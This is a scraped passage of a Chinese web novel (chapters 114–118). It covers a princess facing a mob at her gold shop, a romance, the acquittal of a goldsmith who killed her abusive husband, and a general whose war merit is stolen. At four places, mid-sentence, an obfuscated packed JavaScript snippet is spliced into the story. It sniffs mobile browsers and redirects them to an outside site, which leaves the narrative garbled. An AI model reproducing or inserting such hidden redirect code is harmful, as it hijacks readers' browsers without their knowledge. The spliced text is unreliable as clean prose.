因此在抓了终斩玉以后,贡义立刻来表明立场,他是谁都不得罪。 乔楹月并不打算说明终斩玉的身份,只对他道:“还望贡大人暂不宣扬终斩玉的事儿。” 贡义连连点头:“微臣明白,微臣绝对不会让此人牵扯公主的铺子!” “也莫要伤她。” 这一点贡义不理解。 但红豆端着一块亮闪闪的金子过来,放在了他面前的桌子上。 理不理解已经不重要的了! 拿人钱财就要**。 贡义揣着沉甸甸的金子回到衙门,上下叮嘱了一通。 然而让他恼火的事儿发生了,当天晚上终斩玉的事儿就传遍了大街小巷。 这简直是在打他的脸! 贡义阴着脸叫来姬南萱和叶冀,咬牙切齿的吩咐:“衙内出了奸细,你们二人是我最信任的人,我命你们将奸细找出来!” 姬南萱很恼火,这兵马司上上下下的官职哪个不比她大?让她去查,分明是自己怕得罪人,让她去顶锅! 贡义真阴险! 可心里虽然抱怨,她面上却得克制。 于是这两个倒霉蛋儿接下了这苦逼的差事儿,开始了忙碌又心酸的查证。 这厢。 金福来的店门被人群围得水泄不通,这些人齐声呼喊着: “**犯!退货!**犯!退货!” 何掌柜独自无法应对,只能派人去请乔楹月。 乔楹月是从后门进来的,何掌柜在她耳边告知此事的重要性。 “如今铺子里头的银子已经全都拿去定了金子,倘若这些人非要退货,怕是这铺子得黄,给出去的定金也退不回来,届时当真是损失惨重!” 乔楹月从后堂来到大堂,瞧见几个伙计拼死顶着门,可店门还是被挤开了很宽的缝,要不了多久这门就会被人从外面破开。 店中还有许多黄金首饰,若是有人趁乱抢了偷了,想要追责会很麻烦。 乔楹月吩咐店中的伙计。 “将门打开。” 然而这些伙计只是往后退了一步,门就被撞开了。 那些**的人蜂拥往里头挤。 林酒拔剑一指,这些人下意识后退,顺带打量店内的情形。 便见一个面色肃杀的男人手持利剑,在他的身边站着个贵气逼人的少女,少女面色冰冷,眸色威严。 这些人立刻猜出少女的身份,嚣张气焰彻底消失。 为首的三十岁肥胖妇人应当是这些人选出来的话事人,她隐忍着怒气恭敬的开口。 “公主有礼,我们都是在店中买到黄金的人,这些黄金首饰全都是经过**犯的手打造出来的,带着**之气,会给佩戴之人找来厄运。 我们都是普通老百姓,相信公主才会买这么多,没想到现在出了这种事儿,这黄金自然不能留。 公主府上富裕,所以我们希望公主能公平正义的站出来,将这些金子的钱退给我们!” 其他人连连点头附和。 乔楹月深吸一口气,缓缓开口:“你们的心情本宫能理解,但事实并非你们所想那般,终斩玉是好人,经她手的东西都带着福气。” 胖妇人一听就气哭了,“公主此话实在蛮不讲理!这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16328245|182916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些金子是一笔不小的钱财,虽然可以典卖,可价钱只有买来的一半。 买金子的钱都是民妇男人用血汗挣回来的,就这样打了水漂,民妇回家都没办法跟男人交代!” 此言刺激了所有人的心,现场的气氛顿时充满了**味。 “公主常年搜刮民脂民膏,毫无人性,如今连百姓的棺材本都骗走,实在叫人寒心!” “这套黄金头面是我砸锅卖铁帮我儿子娶媳妇儿的,如今血本无归,儿媳也跑了!” “必须退货,否则我们不客气!” …… 民愤一浪高过一浪,在这激烈的氛围之中所有人都成了湖上浮萍,被暗流推动。 不知道是谁忽然朝前挤,连带后面的人也开始挤,就连抵在面前的剑都不害怕了,这些人朝着乔楹月冲过去。 林酒不敢真的**,立刻收起剑保护乔楹月。 可这种场面不像面对刺客,他放不开手脚,也就是在他分神的功夫,乔楹月被人推到在地。 这一幕像打开了情绪的闸口,**的人更加肆无忌惮起来,竟挤上前来试图扑打她。 便在此时,一道身影踩着这东西人的脑袋落在乔楹月面前,衣袖一挥便有强劲的内力打出。 **者齐齐闷哼着飞摔出去,层层叠叠的人,你压着我,我压着你,他们全然顾不得**,只想尽快将自己从人海中‘拔’出来。 一个大块头的年轻男人刚将自己‘拔’出来,便被人抓着衣领子甩到了地上。 他疼的大叫,定睛看向面前的男人,脸色霎时发白。 “沈,沈大人,大家都在**,您为何偏偏揪着草民不放?” 沈砚冷着眉眼,二话不说先砍下他一条腿。 男人抱着腿痛苦呻吟:“当官的**了!当官的为了包庇敛财的坏宁公主**了!” 飞溅的鲜血和凄厉的惨叫冷静了**者的情绪,这些人争先恐后的逃了出去,却并未走远,躲在自认安全的地方对沈砚投去怨恨的目光。 沈砚无视这些蠢人,冷声质问这个男人。 “说,是谁指使你。” 第一百一十四章撞破暧昧 这男人被沈砚的杀气吓破胆,乖乖的交代了。 “有人给草民银子,让草民趁乱打伤怀宁公主。那人挡着脸,草民也不知他身份。 草民一时猪油蒙了心,早民知道错了,求沈大人饶草民一命!” 沈砚收剑入鞘,丢下一个字:“滚!” 腿都掉了,他也只能滚。 中年男人抱着血糊糊的腿滚出了‘金福来’。 沈砚转身来到乔楹月的面前,柔声问她:“腿还疼吗?” 这会儿乔楹月已经被扶到了椅子上,右腿微微抬高。 这条腿被中年男人踢中,她正是因此才会摔倒。 沈砚当众砍了中年男人同侧的腿,是在为她报仇。 乔楹月摇头:“不疼了。” 随后问他:“沈大人是路过?” 沈砚在身边的椅子上坐下,“是容三小姐前来提醒。” 一炷香之前,容明月忽然找到了他的宅子里,一脸焦急的告知了‘金福来’的局面。 容三小姐与他相看,乔楹月似乎半点不在意。 “公主和容三小姐关系倒是不错。” 何掌柜十分会看形势,立刻带着伙计退下。 林酒想了想,也拉上红豆退到了门口,顺手带上了大门。 宽敞的大堂中只剩下他们二人。 乔楹月抬起脚,放在了沈砚的腿上,“还是有些疼。” 沈砚看着她,眼底有不悦,但手却十分听话的帮她揉着。 在这个女人的面前,他总是不忍心拒绝。 看着沈砚忍气吞声的表情,乔楹月心底的郁气立刻烟消云散。 她身子后仰,慵懒的靠在椅背上,缓缓开口:“容三小姐性子单纯,为人仗义,与本宫合得来,本宫与她是朋友。” 随后她反问:“上次的相看看来是黄了,不知沈夫人又为沈大人择了哪家的姑娘?” 其实她想问是不是定下了容旖纾,他是不是要和容旖纾成亲了。 便听男人低沉说道:“微臣眼下不娶妻。” 乔楹月心一松,继续问:“为何?” 沈砚目光认真的看着她的脸,“公主应该很清楚。” 她确实很清楚。 她更清楚的是,她似乎也对他有了一丝动心。 可感情是世上最难琢磨的事儿,她无法确定他的感情到底是真情,还是假意,因此她不敢轻易做出回应。 或许也觉得感情真假与否不重要。 爱本就瞬息万变,永远只是助兴词。 纠结爱不爱的,不如趁着年轻,好好享受这灿烂的时光。 乔楹月忽然伸手捏住沈砚的下巴,凑过去吻在他唇边。 这个信号让沈砚的眸色变深,他放下她的小腿站起身,双手撑在她的椅子扶手上,将她圈在其中。 乔楹月仰脸看着他,小手扯开他的衣领,伸进去笑道:“沈大人的身材很不错。” 这份撩拨彻底冲毁沈砚的克制,他弯腰狠狠吻下去。 似乎这样吻还不够,他用袖子拂掉桌上的茶具,搂着乔楹月的腰让她坐上去。 他一只手掐着她的腰肢,另一只手扶着她的头,落下的吻比先前更加火热。 乔楹月被吻的节节败退,双手死死勾着他的脖子,防止自己掉到地上去。 门外,听着里面传来瓷器破碎的声响,红豆猜到这声响不对劲,悄悄红了脸。 便在此时,一匹快马飞速来到门前,马上人勒停马儿,风风火火的跳了下来。 红豆赶紧弯腰行礼。 “奴婢见过文将军。” 林酒也行礼,“小的见过文将军。” 文墨甲抬手示意二人免礼,面色冷肃的盯着紧闭的门扇,问红豆:“公主在里头?” 红豆点头,知道文墨甲定是因为那些**的人担心公主安慰,此番是前来探望公主。 可这会儿里头发生的事儿实在不宜让人瞧见。 只能寻个借口让文将军在门外等一等。 “文将军,公主她伤了……”腿,这会儿刚好转,正在休息,您且在门外等一等,容奴婢进去禀报。 然而文墨甲只听到了前面几个字,立刻猜测乔楹月是伤的太重,太医正在为她医治。 他哪儿等得了,他现在就要看见乔楹月的伤势! 他抬脚踹门,大步入内。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16335194|182916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公主!舅舅来为你撑腰了!” 话音落下,他才看清屋内的情形。 只见乔楹月坐在桌子上,脸和嘴唇一样红。 沈砚撑着桌子弯着腰,头微低着,踹门声让他回头,脸倒是不红,红的是眼睛。 这两人是在……亲嘴??? “呃……你们忙!” 文墨甲转身出去,带上门,一气呵成。 乔楹月没料到文墨甲会这么鲁莽,赶紧跳下桌子,整理自己的鬓发。 余光看见沈砚的衣襟敞着,仿佛在昭示她方才的恶行,连忙帮他整理衣襟。 确定仪容没有任何问题后,她才沉声开口:“舅舅进来吧!” 话音落下,门被文墨甲推开,他有些尴尬的走到乔楹月面前行礼。 “微臣拜见公主。” 又面向沈砚打招呼。 “沈大人也在呢,好巧。” 乔楹月还有些尴尬,而沈砚脸皮很厚,面不改色同文墨甲睁眼说瞎话。 “确实好巧。” “哈哈,看来沈大人也是担心公主出事儿,我很欣慰!” “公主并未受伤,文将军莫要担心。” “那就好,那就好。” 乔楹月安静的站在一旁,看着两人装模作样。 待到两人说得差不多了,她便主动将铺子里头遇到的事儿告知了文墨甲。 文墨甲知道终斩玉的事迹连声称赞。 “此女有胆有识,是巾帼英雄!此事背后肯定有人推波助澜,那贡义是个墙头草,舅舅必须亲自去一趟,警告他一番,防止他对终姑娘用刑。” 兵马司的刑罚没有那个女人受得住,女子一旦用刑,即便出来也是个废人。 文墨甲离开‘金福来’,风风火火的赶往东城兵马司,和贡义‘友好’的聊了一会儿,便提出要亲自去监牢看终斩玉。 此举让贡义对终斩玉更加看重。 文墨甲走到关押终斩玉的监牢中,看向里头坐着的女子。 身形苗条,气质利落,高墙上的小窗洒下日光,落在她的侧脸上,将她的侧脸渡上了一层光华。 文墨甲竟在原地愣了足足两息。 第一百一十五章当堂释放 “姑娘瞧着好生眼熟,本将军似乎在哪儿见过。” 文墨甲脱口而出的一句话,让贡义面色古怪,他悄悄靠近文墨甲的耳边提醒。 “文大人,像这样的搭讪方式实在老土了些。” 他不是搭讪,是当真觉得眼熟。 可看贡义那表情,知道解释了也没用,索性没接茬。 反倒是终斩玉忽然出声询问:“大人可是在何处见过与民女相似之人?” 文墨甲确定自己曾经见过与终斩玉相似之人,但他一生阅人无数,实在无法记起那相似之人到底在何处见过。 这会儿面对终斩玉期待的目光,他如实说道:“本将军暂时想不起来。” 终斩玉道:“将军想起来以后,可否告知民女?” “可以。” “民女终斩玉,是金福来的金匠,将军日后可去那儿找民女。” “本将军知道,本将军是怀宁公主的舅舅。” 听见这话,终斩玉看向文墨甲的眼神变得亲切了。 文墨甲并未多待,出来时细细叮嘱了贡义。 “她是公主的人,你若胆敢私自用刑,本将军饶不了你。” 贡义连连应是。 次日清晨,公主府上来了三个人,三人皆是一脸风尘。 这三人正是大通那位新上任的县令,以及那位**的父母。 也是这一日,大理寺受理了鸿升案,于是这三人匆匆沐浴换了身干净衣裳,就随着乔楹月前往了大理寺。 大堂之中,终斩玉跪在地上,在她的身边跪着**的父母,站着那位县令。 乔楹月坐在大堂一侧,姬刑远则是坐在堂上,威严的开了口。 “堂下何人!” 几人有序回答。 “回大人,民女终斩玉。” “回大人,草民曹安。” “回大人,民妇李慧德。” “回大人,下官向古巾。” 姬刑远沉声道:“据大理寺调查,王翠华,鸿升,终斩玉,皆是一人,杀害康天水的,便是此人! 终斩玉,对于杀害康天水一事,你有何异议?” 终斩玉平静回道:“民女无异议。” 在民愤的要求之下,姬刑远公开审理了这桩案子,百姓们可以在堂前围观。 在终斩玉认罪的一刻,百姓们破口大骂。 “简直是个毒妇!应该处以千刀万剐之刑!” “毒妇,留在世上是个祸害!” “毒妇……” “嘭!肃静!”姬刑远面色威严。 围观者心不甘情不愿的闭了嘴。 姬刑远看向向古巾,“开堂前你说终斩玉**有隐情,你便来当众说一说,她有何隐情。” 向古巾很年轻,才二十来岁,穿着身白色衣袍,闻言后缓缓将康天水做下的恶事如实道来。 随着他一点点的叙述,康天水的罪恶缓缓在众人面前揭开了画卷。 听完他的叙述以后,围观者纷纷对终斩玉投去了同情的目光,甚至有人直言。 “终斩玉应当无罪!” 但也有人说。 “谁知道这人到底真是大通的县令,还是找来假扮的。” 便有人朝这人翻白眼。 “若是在那五城兵马司里头,怕真有这种事儿,可这儿是大理寺,所有人都要验明正身,结案的卷宗皇上会亲自翻看,没人敢在大理寺作假。” 这人听后顿时为自己的无知红了脸。 另有人叹气。 “这个终斩玉有情有义,有勇有谋,实在不该被定罪。” 姬刑远并未被这些声音扰乱,而是看向了那对夫妻。 “曹小缘与你们是什么关系?” 曹小缘便是那被**的**。 曹安才三十岁的年纪,一年前意气风发。 一年后女儿被**,而凶手不仅没有被绳之于法,甚至在他面前耀武扬威,他的内心太过煎熬,短短一个月的时间便白了头。 前两日盛京来人,告诉他康天水已死,他此去是要为此人定罪,他立刻抛下手头的一切,带着妻子来了盛京。 此刻面对堂上这位满脸正气的大人,他激动的不停流泪。 “曹小缘是草民的女儿,一年前小女被……被康天水害了!” 在女儿被害后的日子里,他无数次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16335195|182916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幻想过惩治凶手的画面,也无数次在心中整理判罪之词。 可真到了此刻,他却只能说得出这么一句简短的话语。 乔楹月看着这个满头白发的中年男人,心情沉闷极了。 好好的一个家庭,因为康天水毁了。 此人死一百次都不解恨! 姬刑远又询问了李慧德同样的问题。 李慧德的情绪比丈夫冷静。 “曹小缘是民妇的女儿,一年前民妇出门半日,再回家时女儿已经遭遇康天水的毒手。” 乔楹月却看见这份平静之下的崩溃和麻木。 一个母亲,面对女儿的如此惨状,该是多么的悲痛,多么的愤怒。 围观的人们纷纷满腔愤怒,别说终斩玉**,便是他们都恨不得亲手杀了这种畜生。 然而并非所有人都是人,人群中有个尖嘴猴腮的男人冷漠开口。 “即便如此,终斩玉也不该杀夫,丈夫打妻子天经地义,她身为妻子应该耐心教导自己的丈夫,帮助他改邪归正!” 乔楹月目光如电的看向那人,冷声反问:“看你一把年纪,应当成亲了,娶了谁?你娘?” 男人恼羞成怒:“公主怎么侮辱人呢!” 乔楹月冷笑:“子不教父母之过,这个道理你都不懂,不配当人。” 男人还想据理力争,站在他身边的一个妇女忍不住往他脸上甩了一巴掌。 “妻子就不是人了?妻子就该逆来顺受被你们男人欺负?不会说人话就去投畜生道!” 此言引气了许多女人的共鸣,她们趁着人多眼杂对这男人拳打脚踢。 男人被打的‘哎呦’直叫,而堂上的姬刑远却选择了忽视。 女人们打够了,将这男人丢出大理寺,大家齐齐跪在堂外为终斩玉请求。 “求姬大人判终斩玉无罪!求姬大人判终斩玉无罪!” 齐声的呼喊震荡人心。 终斩玉一直克制的情绪在这一刻崩塌,她捂着脸呜咽大哭,肩膀不停颤抖。 姬刑远敲下惊堂木,沉声开口。 “本官已查明,终斩玉**是无奈之举,本官判她无罪,当堂释放!” 第一百一十六章坚定无悔 乔楹月带着终斩玉回铺子。 ‘金福来’有个小阁楼,她便住在那里。 在回去的马车上,她问了终斩玉一个问题。 “终斩玉,是你自己给自己起的新名字吗?” “这是民女的真名。民女嫁给康天水后想起了自己的名字,却始终无法想起自己的家人。” 乔楹月的心情有些复杂。 终姓在大周极为罕见,而斩玉这个名字也并非普通人家拥有的气度。 终斩玉的身份怕是不简单。 “本宫会派人帮你调查,大周姓终的氏族不多,相信你的身世要不了多久便能查明白。” 终斩玉大喜过望,“民女多谢公主,公主的恩情民女没齿难忘!” 马车停在‘金福来’,二人刚下车,文墨甲便从店内走了出来。 他手中端着一个锦盒,看样子应该是首饰。 乔楹月伸手去接,好奇问道:“好端端的给我礼物做什么?” 熟料文墨甲躲开她的手,大咧咧说道:“不是送给公主,是送给终姑娘压惊的。” 乔楹月倒没尴尬,反而生了八卦之心。 终斩玉有些吃惊,不过她的性格比较冷淡,便是吃惊也只是眉毛微微抬了几分。 “文将军的好意民女心领了,此物应当十分贵重,民女受不起。” 文墨甲毫无风度的将锦盒直接塞进她怀里,“客气什么,给你就接着。” 终斩玉脸上闪过尴尬,只能接住礼盒,随后她朝着乔楹月行礼,“公主和文将军说话,民女进去了。” 乔楹月笑着点头,等她进去以后,她立刻问文墨甲。 “舅舅这是开窍了?” 文墨甲无奈道:“别瞎说,舅舅是觉得她眼熟。” “舅舅,这种搭讪方式太老土了,舅舅若有心,我可以帮舅舅想想法子。” “没骗公主,我确定,我见过与她模样相似的人。” 文墨甲脸上的认真让乔楹月忽然想到了终斩玉的遭遇。 或许舅舅见过的相似之人是终斩玉的家人! “不过我不记得在何处见过。” 乔楹月有些失望,不过转念一想,又觉得这是好兆头。 说明终斩玉真的有家人。 和文墨甲在‘金福来’分开,乔楹月回到公主府。 她刚坐下,向古巾便求见。 她将人请进来,便见年轻小伙子局促的站在面前。 “微臣的母亲从未见过盛京的繁华,微臣想要去外面买些好吃的带回去。” 原来是记挂着家中母亲,这份孝心很珍贵。 “带上曹小缘的父母,花销的银子本宫出。” 向古巾自是推脱,但乔楹月态度坚决,他怕自己再推脱显得小家子气,便局促不安的接受了。 向古巾带着曹安夫妻出门。 女儿的案子有了结果,曹安整个人放松了许多,李慧德眼底有了光亮。 夫妻二人跟着曹安见识了盛京的繁华。 逛了半日后几人来到小饭馆吃饭。 向古巾坐在靠窗的位置,忽然听见外面传来斥骂声。 “老疯子,闪开!” 他循声看去,便见一个瘦骨嶙峋的老人被路人掀翻在地。 看清那张脸时,他的脸色浮现惊喜之色,立刻站起来,快步出门来到了老人的面前。 站在老人面前仔细打量对方一会儿,他才颤抖着呼唤。 “大伯!” 老人迷茫的抬头,目光落在曹安的脸上,眼底缓缓浮现苦涩。 “曹安啊,你怎会在盛京。” “说来话长,大伯还没吃饭吧,来,进来一起吃!” 曹**着老人进去吃饭。 饭后曹安想了想,带着老人去了客栈,要了一间客房。 他吩咐店小二送热水,在老人洗澡时他匆匆出门买了一身棉衣。 老人换上干净的棉衣,脸上的脏污洗净了,便发现他的五官和曹安有几分相似。 曹安发现老人的身形消瘦极了,想到他被人踹倒在地的样子,心疼得红了眼眶。 “十二年前我还小,只是听父亲说大伯出门办事儿去了,可我却一直想不通,大伯到底办什么事儿,需要变卖掉家业。 后来我听父亲说,是堂哥的死让大伯无法接受,大伯变卖家业是出门散心去了。 我以为大伯在外应该想开了,日子应该比在老家时过的好。 可没想 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向全顿了许久,点头:“好,大伯随你归家。” 向古巾很高兴,担心向全半途逃跑,当夜直接跟着他睡在同一张床上。 次日,向古巾前往公主府,向乔楹月辞别,随后他回到客栈,看见大伯乖乖等在屋中,松了一口气。 向古巾带着向全,和曹安夫妻一起出城。 马车直奔码头,到了码头便要上船走水路。 向古巾一路上都担心向全偷跑,只有上了船他才能放心。 当看见码头的一刻,他由衷的高兴,扶着向全上船。 不一会儿客船离岸,缓缓前行。 向古巾笑着看向身侧,却没看见向全,他的心中生出一股不妙的预感,猛地回头看向岸上。 只见岸上站着一道熟悉的瘦弱身影。 是向全。 他趁着向古巾不注意下了船! 向古巾气急败坏的看着向全。 只见那道身影毫不犹豫的转身回城,寒风吹向他瘦弱的背影,他一步一步,坚定无悔。 第一百一十七章宁烽失踪 一夜之间,乔楹月惩治恶人,帮助好人的事儿传遍了盛京。 就连康天水死在‘金福来’的事儿,都从晦气凶地变成了正义的祥处。 带有‘金福来’刻印的黄金成为了吉祥正义的象征,价钱往上溢了三成! 那些闹着退货的客人闹的更凶,当然,这次不是闹着退货,而是闹着让‘金福来’快些开门,她们要买更多‘金福来’的黄金! 乔楹月本想让终斩玉再休息两日,见她坚称无需休息,便在案子终了的次日开张了。 得到消息的新老顾客大清早便在门前排队,抢着购买店内的新款。 新款被一抢而空,老款也全都被抢光。 店内只有终斩玉一个金匠,打金的速度有限,叶掌柜提议再招几个金匠,被乔楹月否了。 首先是其他金匠的手艺,没有终斩玉精湛,品质不一会流失顾客。 其次是营销手段,物以稀为贵,紧缺之物身价水涨船高。 便是真的要扩大经营,乔楹月只打算开一家新的金铺,招一些金匠,这家金铺以多销挣利。 容府。 容旖纾听完春桃的禀报,胸中涌现烦躁的怒意,她坐在椅子上调整呼吸,许久才让自己的情绪冷静下来。 “去北城,见颜倾柔。” 北城的青衣巷,位于巷尾有一座格外破旧的小瓦房。 颜倾柔穿着粗布棉衣,正在院子里头绣花,秦宝乖巧的坐在她脚边,帮着她分线。 院子的角落里,庄秋的双手泡在冷水中,一下一下搓洗衣裳,她搓着搓着就来了火气,用力将衣裳摔入水中,扭头冲颜倾柔大骂。 “害人精!我现在的苦日子都是拜你所赐!” 颜倾柔皱眉,针尖刺破了手指,疼得她‘嘶’了一声,寻了块小碎布将手指头摁住,这才抬头看向庄秋。 “我害人精?依我看是你克星转世!你的丈夫被你克死,你的儿子被你克进大牢,侯府被你克落败!就连这个栖身的小宅子也是我想办法租的,若你再敢对我不驯,立马收拾包袱滚!” “混账东西!我是你婆婆,你竟敢用这种态度跟我说话,我看你是欠教训!” “来啊,你来教训我啊?你以为我怕你?” “来就来!” 庄秋冲到颜倾柔面前,抓住她的头发将她拖到地上,顺势压在她身上,对着她的脸连抓带扇。 颜倾柔也不是好欺负的,仗着年轻力气大,很快反败为胜,反将她压在地上打。 五岁的秦宝毫不犹豫抓起一块小石头,冲上去帮自己的母亲。 庄秋被打得满肚子怨恨,力气反倒大了许多,奋力起身,和颜倾柔扭打在一起。 小小的院子里头,两人从东角打到西角,又从南角打到北角。 撞倒了放置针线的小凳子。 踢翻了洗衣的水盆。 两人身上滚了灰,又沾了水,发丝散乱,衣衫凌乱,活脱脱的两个市井泼妇。 院门口,容旖纾目瞪口呆的看着这一幕。 一炷香后,颜倾柔换上了干净的衣裳,头发重新洗了,这会儿湿哒哒的拢在身后。 看见对面坐着的贵气少女,一股委屈在她的心里弥漫,她用力眨眼将眼泪逼回去,抬手倒了一杯水递过去。 “寒舍简陋,便以水代茶,容小姐莫要嫌弃。” 容旖纾垂眼看向这杯茶,破旧的白瓷上沾满了黄色茶渍,像是老男人牙上的陈年老垢。 心里一阵反胃,抬手将茶杯推到一边。 多看一眼她都想吐。 看见她的小动作,颜倾柔的自尊心仿佛被人踩在地上碾,忍了许久的眼泪终于掉了下来。 “哭什么?委屈?” 听得出容旖纾的语气中充满了讽刺,颜倾柔擦掉眼泪说道:“若是容小姐到了我这地步,怕是哭都哭不出来。” 容旖纾弯唇:“你那堂哥打了胜仗,明日便要回城,你的靠山回来了,你应该高兴才是。” 颜倾柔眼睛睁大,“当真!?” 自从住进北城,她就不出门了,怕被人笑。 为了等到堂哥回来为自己撑腰,她做针线活维持生计,整日忙碌,没有时间打听外头的事儿。 如今堂哥真的要回来了,她终于不会再被人欺负了! 容旖纾打量这小小的屋子,叹着气说道:“我出了一趟远门,不知你竟过 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宁老将军也急得不行,还派了人到公主府询问乔楹月是否知道内情。 直到将士回城的第三日,宁烽终于回城了。 他骑着一匹精疲力尽的马,衣着脏乱,蓬头垢面,从前意气风发的人,眼下却像是丢了魂一样,催着马来到了公主府。 乔楹月正在用膳,听到红豆禀报,丢下筷子提着裙摆跑到门口迎接。 当看见宁烽的模样时,她愣了一下,随后扬起笑热络的上前,拉着他的手腕进府。 “本宫正好在用膳,看你应该饿着,一起吃些。” 宁烽低低应了一声,随着她来到小厅,闷着头吃饭。 看着他狼吞虎咽的吃着,乔楹月的心中装了许多疑问,却并未开口。 等到宁烽吃饱喝足,她派人将他送到客房休息,随后派人给宁老将军报了平安。 宁烽睡到了晚上。 乔楹月陪着他用了晚膳,见他的精神恢复了一些,这才开口询问。 “告诉我,发生了什么。” 第一百一十八章上门挑衅 宁烽欲言又止好几次才缓缓道来。 “此次是我冒着生命危险击退东陵大军,颜崇业抢了我的军功。” 一句话让乔楹月的怒火涌了上来。 从捷报和败书先后回京,到颜崇业风光回京,而宁烽肚子一人落魄回归,她心中便有了猜测。 但也仅仅只是猜测。 眼下猜测成真,怒火根本控制不住。 军功是靠着血泪换来的,夺人军功者根本不配做人! 她这个旁观者都怒气难抑,宁烽这个当事人该有多难受。 “你放心,我会帮你,但是你要先告诉我详细的情况。” 宁烽将卞城的事儿细细道来。 乔楹月听不懂排兵布阵,但大致听懂了重要经过。 东陵军势不可挡,颜崇业指挥失误,导致兵临城下,卞城即将失守。 宁烽带着一千士兵绕后打了东陵一个措手不及,随后利用提前布下的陷阱,在数万敌军之中取了敌将首级。 东陵军群龙无首,当场投降。 东陵为了救回自己的士兵,和宁烽签下契约,十年内不犯大周疆土。 这份军功震撼人心,颜崇业以老大哥的姿态叮嘱宁烽先别声张,恐引来不轨之人的嫉妒。 宁烽乖乖听话,并未对旁的将士说起此事,他的英勇事迹就只有那一千的士兵知道。 回城的路途走了五日,颜崇业临时让宁烽取一封重要的卷宗,等宁烽取回军队已经快要回到盛京城。 他快马加鞭星夜兼程往回赶,在半路上听到了自己击退东陵大军的英勇事迹,可那主角却换成了颜崇业。 到了这时宁烽才发觉不对。 他卯着一口气赶回城内,发现城门口无人迎接他,甚至连他回来也无人知晓,他这才相信自己被颜崇业算计了。 “在军中的几个月里,颜崇业待我极好,我对他极为信任,怎么也没想到他竟会这般害我。” 宁烽的眉毛紧紧拧着,脸上早已没了怒气,有的只是深深的困惑和无力。 这幅样子让乔楹月想起了自己前世,发现秦拂郁一直在欺骗她时,她在愤怒过后也是这样的困惑和无力。 她试图想通,可无论她怎么想都想不通,于是她就拼命想,最终陷入无限循环的死胡同,一遍遍的自我折磨。 如今她想通了。 “想不通的便丢开,我们只需要得到想要的结果。” 乔楹月轻轻摸了摸宁烽的脑袋,声音格外柔和。 “有一千士兵知道你的英勇,他们可以帮你作证。” 宁烽满脸失望:“颜崇业将那一千士兵发配到了北境,我怀疑,这些人根本没走出卞城。” 没走出卞城,那就是埋在了卞城的地底下…… 那一千人是保卫大周的功臣。 是活生生的血肉。 是一千个家庭。 颜崇业,你该死啊!! 这一瞬间乔楹月的血液逆流,愤怒逼红了她的眼眶。 她吸了吸鼻子,冷声说道:“不管他们如今在哪儿,无论他们是活人还是白骨,我都要将人带回盛京,帮他们领回他们的荣耀!” 这一刻,宁烽看着乔楹月脸上的坚定,飘摇不定的心缓缓落到实处。 他相信,他的公主定会帮那一千个兄弟讨回公道! 宁烽和乔楹月诉说一番以后,整个人的状态好了一些。 乔楹月给宁老将军递了信,不一会儿,宁老将军亲自来到将军府,将孙儿接了回去。 宁老将军虽然在女人上有些糊涂,但在军事上却十分精明。 从宁烽没有跟随大部队回城,到乔楹月给他递平安信,再通过平安信的只言片语,便猜到孙儿肯定遭遇了大事儿。 他回到府上仔细询问了一通,得知真相后气的拔剑要去杀了颜崇业。 宁烽赶紧将祖父拉住,告诉他,乔楹月已经有了计划。 这厢,乔楹月连夜去了文府,见了自己的舅舅。 她将宁烽的遭遇细细告知,随后提出了自己的要求。 “我要找到那一千士兵,是死是活,都要找到。” 文墨甲是个军人,听到这种事儿比乔楹月更愤怒。 “连自己的弟兄都下得去手,颜崇业是个畜生!我在军中有些人脉,便是将大周翻个底朝天,我也要将那一千弟兄找回来!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16340371|182916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 另一边,颜崇业回京后便将颜倾柔接回了自己的府上,兄妹二人相对而坐,诉说这么多年的苦难。 “十二年前,大伯颜勇连同颜家一干族人全部牺牲,活下来的只有我和你。 为了重振家族荣耀,我一往无前的前往狗都不愿去的卞城。 如今我立下军功,这才有脸回京,这些年没有我的庇佑,妹妹受苦了。” 听到堂哥的关心,颜倾柔心酸又感动,用帕子擦掉眼泪,委屈的开口。 “堂哥在边疆为乔家守护国土,我在盛京却被乔楹月欺负,如今堂哥回来了,一定要帮我出口气。” 